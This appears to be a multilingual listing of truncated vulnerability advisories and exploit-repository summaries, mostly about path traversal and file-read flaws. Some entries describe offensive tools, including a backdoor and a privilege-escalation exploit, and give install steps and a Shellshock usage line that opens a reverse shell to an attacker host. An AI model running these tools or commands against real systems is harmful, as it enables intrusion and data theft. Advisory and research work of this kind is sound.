The vulnerability of the Webasyst content management framework and the Shop-Script CMS system lies in improper restrictions on path names to the catalog. This allows attackers to gain unauthorized access to local files and directories.

The vulnerability of the Webasyst content management framework and the Shop-Script CMS system lies in incorrect restrictions on the path to the catalog. Exploiting this vulnerability can allow an attacker to gain unauthorized access to local files and directories on the server...

EUVD-2026-94052

Backstage: Inconsistent enforcement of allowed location types during catalog processing...

CVE-2020-17518

Apache Flink vulnérabilité de traversée de répertoire, permettant de lire/écrire des fichiers distants via l'API REST Numéro de vulnérabilité : CVE-2020-17518 Description de la vulnérabilité : CVE-2020-17518 : Écriture de fichiers distants via l'API REST Versions affectées : Flink 1.5.1-1.11.2...

CVE-2020-12112

CVE-2020-12112 🚨 Версии BigBlueButton ниже 2.2.4 содержат уязвимость LFI, позволяющую получить доступ к конфиденциальным файлам. История 📜 Во время курса дистанционного обучения на экземпляре BigBlueButton один из студентов моего курса поделился ссылкой на слайд-презентацию моего преподавателя, и...

Aegis

AEGIS Local monitoring and action review for AI agents AEGIS helps you see what local AI agents are doing, review agent files before use, and check policies for selected actions. Monitoring records processes, file activity, TCP endpoints and attribution evidence without requiring an agent plugin...

ShadowSteal

ShadowSteal | CVE-2021-36934 Чистая реализация на Nim для эксплуатации CVE-2021-36934, локального повышения привилегий LPE SeriousSAM. Не OPSEC-безопасно.... пока ;. Я не претендую на авторство в обнаружении этой уязвимости. Быстрый старт Сборка с Docker Начать работу с ShadowSteal теперь проще,...

CVE-2026-21589: Critical unauthenticated arbitrary file access in Atlassian products

Overview On October 5, 2026, Atlassian published a security advisory for CVE-2026-21589, a critical arbitrary file access vulnerability affecting eight products: Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crow...

Atlassian Data Center Flaw Draws Exploitation Attempts Within Two Hours of Public Details

Threat actors have begun to exploit a newly disclosed critical security flaw impacting Atlassian Data Center products that could allow access to sensitive files under certain conditions. The arbitrary file access flaw, tracked as CVE-2026-21589 CVSS score: 9.3 affects multiple products, including...

whatfiles

whatfiles Whatfiles is a Linux utility that logs what files another program reads/writes/creates/deletes on your system. It traces any new processes and threads that are created by the targeted process as well, and records whether each operation succeeded. Rationale: I've long been frustrated at...

CVE-2019-3799

CVE-2019-3799 - Обход каталога в Spring-Cloud-Config-Server Spring Cloud Config, версии 2.1.x до 2.1.2, версии 2.0.x до 2.0.4 и версии 1.4.x до 1.4.6, а также более старые неподдерживаемые версии позволяют приложениям обслуживать произвольные файлы конфигурации через модуль...

EUVD-2026-94221

Path traversal vulnerability in the Satel Iberia SenNet Datalogger Serie 200, specifically in the web portal provided by the device, which allows an authenticated user to read any file or list any directory accessible to the system user running the web server. This is possible by modifying the UR...

CVE-2021-43008-AdminerRead

CVE-2021-43008 - AdminerRead Эксплойт-инструмент для уязвимости произвольного чтения файлов в Adminer версий с 1.0 до 4.6.2 Установка git clone https://github.com/p0dalirius/AdminerRead cd AdminerRead sudo python3 setup.py install Использование Уязвимые версии Уязвимость чтения файлов в Adminer...

GrafanaDirectoryScanner

PoC для CVE-2021-43798 Grafana — это платформа с открытым исходным кодом для мониторинга и наблюдаемости. Версии Grafana от 8.0.0-beta1 до 8.3.0 за исключением исправленных версий уязвимы для обхода каталогов, позволяя доступ к локальным файлам. Уязвимый URL: /public/plugins//, где — это ID плаги...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Инструмент Apache Shellshock Remote Command Injection для быстрого получения обратной оболочки и просмотра файлов Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...

Remot3d

Remot3d - Простой способ эксплуатации Скоро будет обновлено Создать бэкдор можно легко и мгновенно, бэкдор может использоваться в удалённом процессе через Linux-терминал на сервере, на котором выполняется программа на языке PHP. Создан для обхода функций, отключённых на сервере, особенно для чтен...

CVE-2023-26469

CVE-2023-26469 REC PoC Этот репозиторий содержит эксплойт-скрипт для CVE-2023-26469, который позволяет атакующему использовать обход пути для доступа к файлам и выполнения кода на сервере, работающем под управлением Jorani 1.0.0. Кроме того, скрипт включает функцию загрузки шелла для дальнейшей...

ESFileExplorerOpenPortVuln

Уязвимость открытого порта ES File Explorer - CVE-2019-6447 Согласно описанию в Google Play: ES File Explorer Файловый менеджер — это полнофункциональный менеджер файлов изображений, музыки, фильмов, документов, приложений как для локального, так и для сетевого использования! С более чем 500...

cve-2016-1764

Эксплойт PoC для CVE-2016-1764 Восстановление данных iMessage в открытом виде без взлома криптографии Авторы Shubham Shah из Bishop Fox Joe DeMesy из Bishop Fox Matthew Bryant CVE-2016-1764 Производитель: Apple Дата публикации: 8 апреля 2016 Дата исправления: 21 марта 2016 Затронутые системы:...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Инструмент для выполнения команд в контейнерах Docker Мощный инструмент для эксплуатации удаленного API Docker, предназначенный для исследования безопасности и тестирования уязвимости CVE-2025-9074. Ключевые преимущества ✅ Полностью автоматизированное управление жизненным циклом...

LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments

The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads. id:...